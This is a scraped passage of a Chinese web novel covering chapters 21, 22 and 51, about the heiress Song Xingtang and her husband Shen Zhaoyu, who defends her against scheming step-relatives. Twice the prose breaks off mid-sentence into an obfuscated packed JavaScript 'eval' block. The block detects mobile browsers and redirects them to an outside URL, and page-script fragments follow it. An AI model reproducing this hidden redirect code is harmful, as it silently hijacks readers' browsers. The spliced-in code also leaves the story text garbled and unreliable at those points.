那妇人说话漏洞百出,小姑娘听不出来,说话的节奏都捏在对方手里,难怪她一个大小姐会任人欺负,搓圆捏扁,真是叫人憋屈。 肩膀上的热意还在源源不断地传来,宋星糖心里渐渐有了底气。 她是许久未从家人身上感受过温暖了,可是她现在不再是一个人!就像阿娘有爹爹,她也有自己的夫君。 她找这个夫君就是盼着他能和二房吵架,怎么他都不吭一声啊。 如此想着,心中陡然生出一腔委屈来,不由自主地又看了一眼身后的男人。 一双漂亮的眼睛宛如会说话一般,将依赖、埋怨、与哀求都诉了出来。 沈昭予愣了愣,没忍住又捏了下她肩膀。 二人脉脉含情对视,始终沉默不语的老夫人忽然开了口: “糖姐儿今日犯了三宗罪。” “一为将来路不明的宵小之徒招至府上,此人图谋不轨,是为祸患,这不该是堂堂宋氏大小姐该做的事,此为你识人不清、愚昧糊涂。” “二为婚姻大事不经长辈同意私定终身,如此肆意妄为,不仅品德有失、让人笑话,也是对长辈不敬,犯了不孝之罪。” “三为你私自毁了婚约,背信弃义,有辱宋氏门楣。” “如此愚昧、不孝、不义,”老夫人勾了一抹冷笑,“糖姐儿,你若还不乖乖听话,就休怪祖母大义灭亲,将你告到官府去了。” 这罪名实在太重。 霜星院的丫鬟婆子顿时都慌了神,二房众人皆面露得色。 气氛剑拔弩张,宋星糖大脑一片空白,脸色的血色尽褪。 忽听身侧一道懒散带笑的声音—— “哎哟,告到官府?我好怕啊。” 一瞬间,所有视线皆落到她左后方的男人身上。 宋星糖怔愣片刻,才迟钝回头。 对上了一双温柔含笑的眼睛。 她迷茫地呢喃:“鱼鱼?” 男人的手离开她左边的肩膀,绕过背后,他宽大的袖袍罩住了她大半身子,安全感铺天盖地漫布,他虚握手掌,指背在她脸颊上亲昵地揉了几下。 沈昭予轻笑了声:“不怕,有我呢。” 21.第 21 章 【21】 二房与钱氏是到了府外那条街,看到了张灯结彩的宋府大门,才知晓宋星糖嫁人的事。 这事能瞒得死,功劳全在秦知期身上,他命人看住二房的小厮,才没叫人跑出去报信。 眼下二房归来,港口生意忽然出了点岔子,秦知期不得不离府,这才叫二房把火气全都撒在了沈昭予身上。 而沈昭予刚在周庭柏那里碰了软钉子,同样气不顺,正是赶巧了。 沈昭予稍欠着身,为宋星糖整理了一下被压折的袖子,就着倾身的动作,慢慢转头望向钱氏,满不在意,“告去。” 吓唬谁呢。 钱氏面沉似水,一语未发,浑浊阴鸷的目光直勾勾盯着他。 沈昭予微挑眉梢,微微一笑,“不会是不敢吧?” “竖子!你在张狂些什么!”二叔宋遥气得面色涨红,骂道,“州府的大人都要给我两分薄面,你再叫嚣,我叫人砍了你!” 沈昭予惊讶道:“什么?才两分?那确实挺薄的。” 宋遥恼羞成怒:“真乃狂妄无知的小儿,来人!给我拿下他!” 主人一声喝令,下人不敢不从,可…… 小厮们面面相觑,皆一手攥拳架在身前,另一手扶着自己腰间那柄空荡荡的刀鞘上。逡巡踌躇,半晌都往前挪不动一步。 宋星糖缓缓睁大了双眼,一眨不眨,她这才注意到地上散落着数把刀剑。 这些小厮皆担护院之责,宋星糖从未见他们的兵刃离过手。 她生性好奇,有了疑问就要问,拉了拉男人的袖子,仰头问:“阿许说那是他们吃饭的家伙,今天怎么连饭碗都端不住了?是没吃饱饭,手抖了吗?” 沈昭予轻轻笑出声,心道这姑娘真是傻得要命,偏偏这股憨劲儿,能气得人说不出话来,对二房是,对他也是。 他手上不自觉戳了下她鼓鼓的腮,笑道:“是啊,他们将家管得一团乱,下人食不果腹,多可怜。” “看来我阿娘说得极是,他们的确没有经商才能,还不如我呢。”说着,竟还骄傲得仰头挺胸,“我院里的人每顿都吃得饱饱的!” 沈昭予注视着少女清澄明亮的眼睛,软声:“那我跟着糖儿,再不担心饿肚子了。” 宋星糖弯着眼睛笑,“没问题,你吃多少我都养得起!” 二人皆没刻意压低声线,一唱一和,将二房众人又气了个半死。 “都愣着作甚?!快给我绑了他!” 有人已慢慢蹭到了自己兵器前,想趁着无人注意,偷偷将刀拾起。 怎料男人就跟后脑长了眼睛似得,随手向后一挥袖,只听“嗖”得一声,紧接着那小厮便捂着手痛呼哀嚎起来。 有人忌惮着不敢往前,就有些胆大想挣赏赐的要一拥而上将人活捉。 才刚有所动作,便见一条金鞭从男人袖中甩出,未看清其动作,便只觉凌厉的风打面前拂过,那狠厉急促的“咻咻”声令人胆寒,众人皆不禁闭上眼,狼狈地向后退逃。 待声响止歇,众人心有余悸地睁开眼,便只见之前散落在各人面前的刀都被卷到了一堆,又被鞭子一把都勾到了男人的脚边。 方才也是这样。 在大小姐未到的时候,这赘婿搬了椅子,目中无人般坐在院子当中。护院奉命围人,结果刀才出鞘,那金鞭便不知打哪儿冒了出来,抽在他们每个人的手腕上,打掉了他们的兵器。 也因此,大小姐来了后,他们只敢围着,不敢轻易上去。 第二次直面武力差距,二房众人惊骇得不敢妄动。二婶白氏抬袖子遮住脸,急得身子发抖,“反天了,真是反天了!糖姐儿!你是个死人不成,就由着这莽夫在这撒泼?!” 宋星糖张了张嘴,目光茫然,“难道不是二叔先让人欺负鱼鱼的吗?鱼鱼只是保护自己。” 沈昭予唇角微勾,没想到她脑子虽迟钝愚笨,却还算讲道理,也不枉费他在这护她一回。 既然如此,那他就暂且不计较她帮着周庭柏气他的事了。 他慢条斯理地将鞭子缠回腕间,众人这才发现,哪是什么“金鞭”,原来只是一条普通到不能再普通的女子用的金色披帛罢了。 “那、那好好像是姐姐的……” 宋妤娇忽然怯声道。 一条柔软的丝绸披帛都可作为武器,这样的认知更叫人心惊胆战,二房竟无人敢再发声。 “既然都冷静下来,那就听本……本婿说两句。” 沈昭予冷笑了声,恣意狂妄的目光直逼上首之人。 “无论敌人是寡是众,皆不该轻视对手,这点道理都不懂,如何能在对战中获胜?莫说你们用几个护院来拦,哪怕十个百个,也是一团散沙,一碰就碎。” “御下之道、管家之法,不必再说,毕竟这些事以后都与你们再无干系。” 这一句明摆着夺权的话直白地打在二房的脸上,宋遥顿时顾不得男人的武力震慑,他恨恨道:“一个来路不明的贼子,还妄图——” “宋二爷,你提醒得是。”沈昭予忽然笑着打断,“都忘了自我介绍了。” “在下并非来路不明之人,亦非作恶多端的宵小之徒。不知二爷可听过镇西军的名号?” 内宅的妇人不清楚,宋遥一听这名字就愣了。 沈昭予微笑道:“在下不才,从前正是在镇西军下效力。” 镇西军乃是由当今陛下胞弟——怀王殿下统帅,以抵御西北众蛮夷部族而组建的军队。 他这一身武艺不假,且看这霸道蛮横的做派,确实像是行伍出身。只是气质有些过于文雅了…… 不对,这气质,兴许还真不是什么冲锋陷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407174|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵的无名小兵! 宋遥心下一惊,颤着声:“你是哪一支军的?” 见人被三言两语吓得面色苍白,沈昭予淡笑着,睨着他。 不负所望,说出了一个响当当的名字—— “霍平西,霍老将军。” 西部及北部诸州驻扎的军队有好几支,合称为镇西军。而“霍家军”,曾为怀王亲帅。 也就是说,霍平西部下率领的兵卒们,可以算得上是怀王的嫡系,是镇西军中最精锐的一支,哪怕是一普通兵卒,也能以一当十,勇猛非常。 这名头不是人人都敢亮出来的,不说怀王统领,单说首将霍平西老将军便是出身武将世家,世世代代肩负守卫家国的重担,可谓是朝之重臣,看他名字就知,一生戎马,军功卓绝。 若这“赵鱼”所言非虚…… 宋遥眼珠一转,有了别的打算,他缓和了神情,试探道:“不知阁下在军中任何职?怎到这越州来?” 要论趋炎附势、识时务的本事,秦大管家当真不如这位宋二爷。 “区区小卒,不足挂齿。”沈昭予散漫一笑,“二爷是要问我是否识得怀王殿下?” “怀王”二字一出,饶是那些深宅妇人也都变了脸色。她们不知什么镇西军,却听过怀王的大名。 “且不说怀王殿下早已离了边关,回京任职去了。”在众人的期待下,他字字冰冷,残忍打破幻想:“殿下乃天潢贵胄,那等凤表龙姿、如圭如璋,岂是我等庸俗的蠢物可沾染靠近的?” 宋遥犹豫:“这……” “宋二爷,我说这些,只为表明我非歹人,可不是方便你们攀高枝、谋前程的。” 宋遥没防备他说话这么直,面上有些挂不住,“我没那么想。” “哦?那倒是我以己度人,真是抱歉,误以为二爷是个闻着肉腥味就往上凑的畜生。” 宋遥被骂得哑口无言,脖子涨得通红。 宋洛繁忽然扬声质问:“你若在军中混得好,怎么会放着大好前程不要,跑到这儿来给一个傻子当赘婿?!我看你就是犯了错被赶走了,还敢在这耀武扬威!” 沈昭予面色微冷,淡淡扫了他一眼,勾唇讽笑:“我自有我的缘故,犯不上同你交代,这有你说话的份儿吗,闭嘴。” 宋妤娇眼睛一亮,抿着唇偷偷笑了。 “我说了那么多,只是想告诉你们——” 沈昭予随手挑起身侧少女鬓边的一绺碎发,勾缠在指间,凤眸凌厉,扫向众人。 “老夫人所说的第一桩罪,驳回。” 宋星糖恍惚间抬头,耳边一痛,原来他还勾着她的头发。 她抬手揉了揉发根,碰到他温热的手指,眼睛忽然酸胀,依赖地往人身边贴了贴。 他在帮她吵架。 她再也不是孤身一人了。 22.第 22 章 【22】 身边的女孩像个小动物似得拱来拱去,沈昭予垂眸看她,目光柔软。 “况且,我家糖儿也不是傻子。” 他再次抬眸时,气势更强。 “赵某的身份来历,诸位之后随意探查,在此不多赘述,我们先谈谈老夫人口中这第二桩罪。” “说到私定终身,只怕是要委屈了我们。我与大小姐正式拜过天地,又有诸多宾客见证,且是在自家行的礼,怎么看都与‘私定’不相干。” 白氏口快,反驳道:“可你们欺瞒着母亲,这是不可辩驳的事实!” 沈昭予诧异地一扬眉,“拜了天地,也拜过岳父岳母,你的‘母亲’又是哪一位啊?说起来,你们一家是什么人?糖儿,能告诉我吗?” “这是我二叔一家,”宋星糖目光躲闪,似乎觉得当面说这些有些不敬,悄悄压低声音,“祖母是祖父的续弦,并非我的亲祖母,二叔是她带来的孩子,也并非是亲二叔,他们一家都与我没有血缘……” “原来如此,只是个打秋风的穷亲戚啊。”沈昭予冷笑了声,“我与糖儿当真是同病相怜,一样的被人吃绝户。” 钱氏听不得别人这样说她,激动地住了拄拐杖,“我白疼了糖姐儿十几载,她竟是这样的白眼狼!” “疼?是指趁她生母病亡,将她身边人遣散,削弱她的话语权,又剥夺她继承财产的权利,将她卖给一个家徒四壁的穷书生?” 钱氏冷冷道:“那张氏有大才!科考必能高中,糖姐儿跟着他只有享福的份儿,你这个只会舞刀弄枪的武夫懂什么!” 沈昭予嗤笑了声,“你喜欢那个张书生,是吗?来人。” 他的手肘搭在宋星糖背后的椅子上,掌心轻覆她的肩膀,手指一下一下敲在肩头。 宋星糖的目光被吸引过去,看得目不转睛。直到那根修长匀称的手指停下,她才恍然抬头,身侧不知何时来了两个人。 一人哀嚎着:“我不娶了,不娶了!!” 宋星糖循声望去,只见一个身形有些熟悉的男子瘫倒在一边,抱着头哭喊,似乎很害怕。他身上染上了不少脏污,有黄泥,还有脚印,她只看了一眼便错开眼睛。 “你们是何人?” 宋遥纳罕道。 地上那鼻青脸肿的男子抬头,宋遥认了出来,惊愕叫道:“张世侄!” “宋老爷,我路过此地,见一群人围殴此人,一时兴起将人救了,结果他哭哭闹闹的赖上我,非嚷着让我带他来宋府。我大发善心将人带来,结果小厮非说我们是骗子,幸好在门口碰上了这位风度翩翩、芝兰玉树、待人亲和的公子,不然还进不来呢。” 宋星糖仰头,只见说话的是个极为年轻的男子,瞧着面容俊秀,和她一样是张圆脸,身姿挺拔,气质干净,比躺在地上的那人不知好看多少。 他怀里抱着剑,说着话,目光懒洋洋地也朝她瞥来,只停在她脸上一瞬,便自然地落到她肩膀上的那只手上。 江行:“……” 他目光微凝,脖子冷飕飕的,匆忙将头转了回去。 “喂,你说话啊。” 江行用手中的剑鞘戳了一下张书生的腿。 张书生面上犹有泪痕,目光幽怨又怨恨,愤愤道:“宋氏大小姐金尊玉贵,不是我能高攀得上的,还望老夫人将我家的定礼退回,这桩亲事就当没有过吧!” 钱氏与白氏这才一齐慌了神,连忙追问,百般挽留。 张书生一骨碌爬起来,冷笑,“老夫人得陇望蜀,以为我不知?若真定了我张家,那这人又是哪来的?我想来讨个说法,结果才到府外,就被人套了麻袋,那些人对我拳打脚踢,还对我百般辱骂,让我休要惦记大小姐,否则就要断了我张家的后。” “我张氏势微力薄,不敢攀附宋氏的大小姐,宋氏也担不起令我张家绝后的过,我们就此作罢!” 张书生一番控诉,钱氏听得两眼发黑,百口莫辩,只得任由那张书生愤愤离去。 而救了张书生来的年轻人也要拱手告辞,却被忽然赶来的秦管家给拦住,要带下去好生招待。 年轻人推脱不过,因是个仗义洒脱的性子,便欣然接纳了秦知期的美意,随着他退了出去。 沈昭予半晌没吭声,安静地看了一场闹剧,待无关人等皆退场,这才慢悠悠地开口:“如今那张书生主动放弃,还说宁愿两家从未定过亲,可见是厌极了,这样看来,第三桩罪应也算不得了?” 二房人面色五彩纷呈,老夫人更是捂着胸口说不出话。 “我家糖儿未曾辱没宋氏门楣,倒是你们——” 沈昭予抬脚勾起地上一把刀,在手里掂了掂,两指交叠,轻轻弹了一下刀刃,笑道:“在下一介武夫,只懂舞枪弄棒,才疏学浅,有几个问题想请教诸位。” “幼而不孙弟,长而无述焉,老而不死是为贼。”① 他的右手落回到宋星糖的背后,左手执刀,漫不经心比划了两下,笑道:“不知此话当何解?” 宋遥怒骂:“你放肆!敢这样同长辈说话?!” “那这一句呢——从道不从君,从义不从父,又作何解?”② 宋洛繁听得脑袋都大了,“你究竟想说什么!” 沈昭予可怜地看着一群傻子,“虽说是父母之命媒妁之言,可‘家’这一字当在‘国’之下。” “礼,经国家、定社稷、序民人、利后嗣者也。”③ “‘礼’乃立国之本。遇丧,为君者当寝苫枕块,为官者当丁忧去职。匿丧不报,是为大罪。君王尚不可置礼法于不顾,你又是何人,敢藐视礼法,逼迫热孝的孙女嫁人?你不知道,这是杀头的罪过吗?” 前头一番又一番大道理宋洛繁听得半懂不懂,可最后这一句在场的没人不明白。 宋洛繁这下也慌了神,“祖母!” 再看钱氏,到底是个深宅妇人,肚子里文墨不多,往日只仗着年岁大,宋星糖的父母素来又有孝心,这才得以作威作福。仗着宋星糖没了爹娘,以为这宋府上下都是自己说了算了,所以便随心所欲,作践宋星糖。 眼下碰上了硬钉子,钱氏一时间再硬气不起来。 “休、休要信口雌黄,当我吓大——” “是啊,我就是在吓唬你,你有本事,就别信啊。” 沈昭予素来眼高于顶,并没有不欺老人的美德。 他拎着刀,慢慢朝钱氏走了两步,吓得众人皆抱头鼠窜往后躲。 钱氏大惊失色,“来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411844|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人!来人!拦下他!” 沈昭予面无表情,没再动了,“大小姐本是最忠孝之人,她不愿违逆礼法,却又无力对抗‘孝’这一字,可怜无人为她做主,孤苦无依,才叫你们这么猖狂。” 哐啷—— 刀被他掷到地上。 咔嚓一声,刀刃不知怎么断成了两截。 他目光冰冷,“你若想告,那就去。只是那三桩罪在下皆一一驳回,击鼓鸣冤时再想个说辞吧。” 说罢,拉起椅子上的女孩,头也不回地离开。 沈昭予刚发完火,气息正乱着,沉着一张脸,一路上都没说话。 宋星糖则是迟迟都反应不过来。等她回过神来,自己已经坐在了房间里,而沈昭予不知所踪。 问了秦知许才知,他被大管家给叫走去议事了。 晚膳是宋星糖自己用的,饭才吃一半,她灵机一动,脑子里突然冒出个想法,饭也不吃了,急急忙忙就跑到书房去。 沈昭予推门回房时,便看到一个脸上沾着墨迹的小花猫,正对着面前的纸抓耳挠腮,上蹿下跳。 他愣了下,而后低头笑出声来,攒了一天的火气莫名其妙散了大半。 宋星糖看到他来,眼睛一亮,过来拉他,“原来你会的这样多,那些呜呜啦啦的话听起来一点都不难听,可他们还是好生气。你真厉害啊!” 这是想了半日才想明白? 沈昭予好笑地指指脸,“所以,你这是……” “我要好好研究你是如何吵架的,我把你的话都记下了!” 说是“都”记下来,可整张纸上,只有一句。 沈昭予喃喃:“老而不死是为贼……” 他撑着额笑了。 “我、我就记住了这一句,说得好哇!”宋星糖不好意思地揉了揉鼻子,赧然道,“我笨嘛,你别笑话我。” 她冥思苦想,绞尽脑汁,可惜她听过以后基本上都忘干净了。把当时在场的几个丫鬟都叫过来询问,可她们也没读过什么书,记不住那几句引经据典的话,帮不上宋星糖的忙。 “天色不早,明日我再复述给你听,好不好?今日先歇息。” 宋星糖看了看手中的笔,“你明日还能记得?” “自然。” 真厉害,她的记性就很不好。 “那好吧!” 宋星糖没有任何犹豫地扔了笔,转身朝寝房飞奔。 沈昭予瞥了眼凌乱的桌面,叹了声。 他将笔架上的笔全都取下,按照长短从左到右一一挂回。又将被她翻得一塌糊涂的纸张们也按照尺寸从小到大依次叠放整齐。 将砚台摆放在桌面顶部的正中间,一侧的书籍话本也按照翻阅的痕迹从旧到新摞成一堆。 等他勤劳又贤惠地将书房收拾整洁后,拿着一条湿帕子回到卧房,要给她擦擦花猫脸时,她已经只剩了件寝衣在身上。 沈昭予顿在原地,有种不好的预感。 果不其然,她冲他灿烂笑着,“来嘛,今日继续学第二篇。” 说着晃了晃手里那本秘戏图。 沈昭予:“……” 啪嗒。 帕子掉到地上。 沈昭予弯腰拾起,扭头就跑。 50-60 第51章 第51章“一眨不眨盯着我瞧,是…… 【51】 江行垂下头,对这样的回答毫不意外。 从前只想着和离以后,亲自为她铺好后半生的路。如今看来,这个打算实在不够稳妥。 把她交给谁,都不会比他亲自来管更妥善。 江行叹道:“殿下,您真的把自己给骗进去了。” 这话沈昭予不爱听,“本王岂会那般愚蠢?” 他多么英明睿智,岂能分辨不出何为假意,何为真情? “您一直以来目标明确,意志坚定,可如今却犹豫不决,想要留下,任这些年的努力付之东流。” 沈昭予抬手制止,“本王没说会留下,也一定不会放弃。本王知道分寸,未来之路,自有打算,你不必多言。” 江行跪在地上,冒死进谏:“您此时知道分寸,那一日两日、一月两月后呢?您能做自己那颗心的主吗?” “江行。”男人眸光锐利,冷声道,“你话多了。” 江行额头抵在地上,长跪不起,久不言语。 院中忽然一阵欢快的笑声。 沈昭予怔忡片刻,不由得抬手,将窗子推开半寸。 “姑娘的嘴怎么这么馋啊!”厨娘嗔道,“现在吃了二小姐送来的糕点,晚饭还吃不吃了?怎么,是嫌我做饭不好吃,所以净拿这些零嘴填肚子?” “云儿你别恼嘛,实在是太香啦,前儿她来送,你们疑心她下药,拦着不让我吃,最后经郎中检验里头什么都没有,被你们偷偷分了,这回也该轮到我尝尝了吧!” 宋星糖一边说,一边悄悄用帕子擦去手里的彩砂,眼睛溜溜乱转,偷偷摸摸,要伸手去拿。 “冤枉啊,上回姑娘吃过饭,自己吃不下才塞给我们,可别赖我们偷嘴吃,被姑爷听到要挨骂的。” “姑娘自己胃口小,吃了这个就吃不下那个,怨不得旁人呀。” 见妙荷要把盘子端走,眼不见为净,宋星糖顿时急了,“那我要吃,不吃饭不就成了?” 她把盘子圈在怀里,护食的模样让妙荷哭笑不得。 “那可不成,姑爷有交代让您好好吃饭,我们不听话也是要挨骂的。” “呜呜,鱼鱼怎么这么坏呀!我只是想吃个零嘴,我有什么错。” 她委屈巴巴地抱怨,娇态十足,倒把一众丫鬟婆子全逗笑了。 沈昭予也不自觉弯了唇角。 埋头叩首的江行听到这一声轻笑,认命地闭上眼睛,长长叹息。 “二夫人一入狱,老夫人就醒了,竟做主休了二夫人,何其凉薄狠心啊。你说这个节骨眼,二小姐怎么反而和咱们这边亲近起来呢?” “她没了依靠,看清局势,想为自己谋一条出路吧。” “姑娘,您可别心软就和她搅在一处,知人知面不知心!” 宋星糖原本趁着众人聊天,偷偷把糖糕往嘴里塞。 结果此时忽然提她,众人齐刷刷将目光落在她的身上。 这一口糖糕上不去下不来的,她用力捶一下胸口,咕咚一声,生吞了下去。 嘴边还沾着米渣,她却不住摇头,“我可没偷吃,没有!” 众人:“……” 沈昭予无奈扶额,喃喃自语:“本王怎么会喜欢上这么个小笨蛋……” 江行点头,“可说是呢,您怎么喜欢上这么个笨蛋。” 沈昭予脸一拉,回身骂道:“她不是笨蛋,她只是脑袋受过伤,没有旁人聪明而已。” 江行:? 怎么,顺着说也不行?只许州官放火,不许百姓点灯! “属下失言。” 能屈能伸,他忍了。 沈昭予转回身,继续看向院中。 只见宋星糖嘿嘿笑一声,赧然道:“对了,你们方才说什么来着?” 妙荷拿帕子给她擦嘴,“我们在说,让您小心二小姐。她虽不与大少爷一样欺负您,但她到底是二房的,平日沉默寡言,关键时候能给大少爷出主意,又在生母被休时毫无异色,反而来拉拢姑娘您,这样的人,叫奴婢想到一句话。” “什么话?” “会咬人的狗,不叫。” 宋星糖蹙眉思忖,一时间没言语。 等院里众人话题又换了两轮,她才重重叹一声,说道:“我当然知道宋妤娇不可深交,你们几时见我向着她说话了?” 妙荷以前没发现,此刻回想,倒确实如此。 “这倒也奇了,二小姐从来没做过伤害姑娘的事,见面三分笑,为人很是亲善和顺,姑娘怎么一直与她不亲近呢?” 倘若宋妤娇不是生在二房,只看她平日言行,实在叫人生不出警惕之心来。尤其是见着她被宋洛繁欺负,霜星院这些奴婢们甚至想为她出头、打抱不平。 宋星糖歪着脑袋,“来和我说别人坏话的人,她本身就是个搬弄是非的人,没准背着我还和别人说我的坏话呢,我才不要理她。” 这番知事明理的话一出,沈昭予的目光顿时柔软。 众人皆是一惊。 “二小姐说过谁的坏话?” 宋星糖道:“宋洛繁呀。” 李嬷嬷思忖片刻,说道:“大少爷平日没少欺压他这个妹妹,二爷与老夫人纵容偏心,就连二夫人都不护着自己的女儿,她心里有怨言,发两句牢骚,倒情有可原。” 宋星糖摇头,“她埋怨没错,可她不该同我埋怨。她的兄长嚣张跋扈不待见我,她有委屈,也同我说不着。” 宋星糖说不出听到那些话时心里的感觉。 她被宋洛繁指着鼻子骂的时候,被宋洛繁抢走爱物时,她都没觉得委屈。 反而是宋妤娇来诉苦,说她也遭受了怎样的虐待时,她才后知后觉,品出心里的苦涩来。 因为她自己都觉得难以置信,所以这些话十年间从未对人提过。 宋妤娇口中的那些“偏见”,与她自己遭受的比起来,其实九牛一毛。 但好在,宋星糖会忘记,所以起初也不觉得有什么。 等长大一些,情况变得不同。 宋洛繁每每对她的言语欺凌过后,就在她快要忘记的时候,宋妤娇都会跑过来,以一副同病相怜的姿态,同她诉说委屈。 她的确很喜欢听人说宋洛繁的坏话,可不知为何,宋妤娇每每说起,她只觉得心 里别扭。 一次两次,听完宋妤娇的倾诉,她很快忘了。 可次数多起来,她想忘记便没那么容易。 像是一根刺,一直横在那。 宋妤娇的遭遇,她无法感同身受。而她曾经经历的,也总在不经意间再一次出现在她的记忆里。 久而久之,对二房的怨越积越深。 有好几次,宋星糖都后知后觉冒出个诡异的念头——宋妤娇是不是希望自己给她出头啊? 这些话,宋星糖不知从何说起,她嘴笨,心里的感觉也只是一闪而过,很快无影无踪。 她不知和谁说,也不确定倾听者能否将她的话放在心上,干脆就不说。 反正她也习惯面对痛苦时保持沉默了。 果然,她的一句“同我说不着”,院里众人虽不解她为何有此念头,仔细一想,觉得她说的也在理。 妙荷感叹:“是该独善其身。” 自身都难保,哪还管得了别人是喜是忧呢? 唯有沈昭予,只听她的前半句,便对她的所有心路历程皆了然于胸。 “她哪是冷漠自私,她是在趋利避害。” 那位宋二小姐,总在她的伤口上撒盐,对她反复、持续地进行二次伤害。她虽懵懂,却能察觉到异样,及时远离。 “若你来想,你只会觉得,这人与我是一样的可怜人,都不容易,甚至还会因为怜惜她,就此亲近起来,变得无话不谈。” “人会因为相同的利益而合作,更会因为经受过同样的痛苦,选择绑在一起。” “她并不笨,”沈昭予久久望着那个令他挪不开眼的女子,轻笑一声,语气中带着不加掩饰的欣赏,“她有着旁人都没有的敏锐直觉。” 宋妤娇,绝不是什么善茬。别人看不出,她却能感觉到。 为这份敏锐,沈昭予与有荣焉。 “她过得虽苦,却仍能笑着说出来。” 永远乐观,通透豁达,绝不消磨自己的情绪。 这一点,是她众多的优秀品质中,最最吸引他的那个。 江行:“……” 没想到有朝一日能从怀王殿下嘴里听到这么多好听的词。 被迫听完主子的一通内心告白,江行算彻底认清,这个男人再也不是以前那个断情绝爱,只会在雄图大业上拼命的人了。 如今他有了软肋。 而这根软肋,现在连他真名叫什么都不知道。 还得披着一层伪装,才能将爱意宣之于口,江行想想就觉得主子可怜,没忍住噗嗤一笑。 惹来冷眼一瞥,他揉了揉脑门,从地上爬起身,幸灾乐祸道:“您还是先想想,如何能将此间之事完美善后,再说其他那些有的没的吧。” 沈昭予:“……” 宋星糖呼唤着“鱼鱼”飞奔来时,江行已经悄悄从后窗翻出离开了。 而沈昭予坐在书案后,听着急促的脚步声由远及近,感觉到自己胸腔的跳动也因她而欢快热烈。 他面带浅笑抬头,冲她伸手,“糖儿,来我身边。” 心境不同,再面对她时,又有不同的体验。 宋星糖坐在一旁,捧着书认真看。 半个时辰后,宋星糖第四次抬头,对上男人深情款款的目光。 宋星糖:“……” “鱼鱼。” “嗯?” “你眼睛不舒服吗?” 沈昭予愣了下,笑着问:“为何这样说?” 宋星糖纳闷道:“我看你眼睛一眨不眨地盯着我瞧,是眼睛闭不上了吗?” 沈昭予:“……” 他无奈道:“怎么就不能是你的脸上长了花。” 好看到他连账册都不想看,只想看着她,舍不得挪开眼。 宋星糖被他的目光烫到,只觉得自己也变得奇怪起来。 心里一慌,手不小心碰到笔尖,沾了墨渍。她躲闪目光,无措地搓起小手,摇摇头,“人脸上哪能开花呀,我再笨,也不会信这样的话呀。” 她似乎在害羞,越是往后躲,沈昭予便越觉得她好看。 用带着笑意的目光,逗弄她一阵,见她渐有恼怒之意,方才意犹未尽地作罢。 “鱼鱼,我有悄悄观察,发现了个了不得的事!” 沈昭予撑着腮,含笑看着鬼鬼祟祟趴到他跟前的一张脸,“嗯?” “近来院子里的风气大变!大家不像以前爱偷懒,也不似从前那般对我爱答不理的。” 自从赵鱼接管家务以后,霜星院的变化如下—— 每日清晨,她不再在叽喳吵闹的笑声伴随下睁眼。 早膳过后,再见不到蹲在墙根打牌赌钱的身影。 午膳尽是她爱吃的,不会再有人强迫她吃不爱的东西。 午睡过后口渴,喊一声就有好几个小丫鬟争着抢着给她倒茶,不会喊半天没人理,要等到妙荷做完事她才有水喝。 最关键的,是下午她作画读书时,身旁围着的小丫鬟总见缝插针夸她聪明夸她厉害!! 天呐!这是神仙才能过上的好日子吧! 宋星糖越是细数近来变化,心里对他的好感越是蹭蹭上涨。 心里的依赖实质化为动作,她黏黏糊糊地蹭到男人身边,扭动身子,往他怀里钻。 像只柔软无骨的小猫,用脑袋亲昵地贴他脖子。 蹭进去以后,额头抵着他的锁骨,两眼发亮,仰头瞅他,“鱼鱼,是你教她们的吧?” 沈昭予心弦微颤,喉结轻轻滚动,从善如流地将她拥紧。 “并未费心调教,只是稍稍以利相驱。” 宋星糖听不懂,只觉得他手段高超,“简直太厉害啦!连嬷嬷都说,你比秦大哥强上百倍,比娘亲管得都好!” 李夫人在世时,将大把的时间都放在生意场上,后宅之事难免顾虑不全。好在宋氏人口简单,李夫人无需多费心。 可宋氏的当家人故去后,所有弊端都慢慢显露出来。 宋星糖原先不觉得有什么,在母亲离开两个月后,开始察觉到影响,可她没有能力整改,只能听之任之,得过且过。 赵鱼一入府,便给宋氏带来了翻天覆地的变化。 宋星糖两眼写满仰慕二字,“你教教我嘛,我也想学。” 沈昭予笑着道:“糖儿学这些作甚?左右有——” 他想说一直有他,可话说到一半,忽然想到什么,笑意竟慢慢淡了。 宋星糖无知无觉,奇怪道:“有什么?” “没什么。”沈昭予回神,再次笑起来,“糖儿想治家,我高兴。” 授人以鱼不如授人以渔。 沈昭予算盘打得好,想着近来事忙,尤其是他自己的事多了起来,教她做些简单的,也好减轻一下肩上的担子。 结果他还是想简单了。 三日过去,沈昭予看着账册中骤然多出来的亏空,大怒: “是叫你把赏钱奖励给表现出众的人,不是每个人都要发!若人人都有,那还有何稀奇的?人人有肉吃,怎么竞争?” “而且奖赏是要每月一结,你三天发出去十五笔,再大的家都经不起你这样挥霍!” 他只是三天没管家,她就能捅娄子。 宋星糖被他训得一缩脖子,手指心虚地抠着裙边绣花,“那,那我是看大家都表现得很好嘛。” 沈昭予:? “我要是天天都奖励你糖糕,不让你背书,这日子 还有盼头吗?” 有期待才有动力,当延迟的满足不再存在,当所有的甜头都能立刻尝到,谁还会珍惜? 一点挑战性都没有,不如死了干脆! 怎料宋星糖喜出望外,眼睛都瞪圆了,惊喜道:“还有这种好事?!我能吗?” 沈昭予:“……” 他面无表情道:“你不能。” 宋星糖脸色的兴奋肉眼可见消散。 沈昭予一顿,“……闯了祸,还想要赏?” “呜,”小姑娘软绵绵地趴下,双臂摊开,脑袋贴在桌上,“我知错了。” 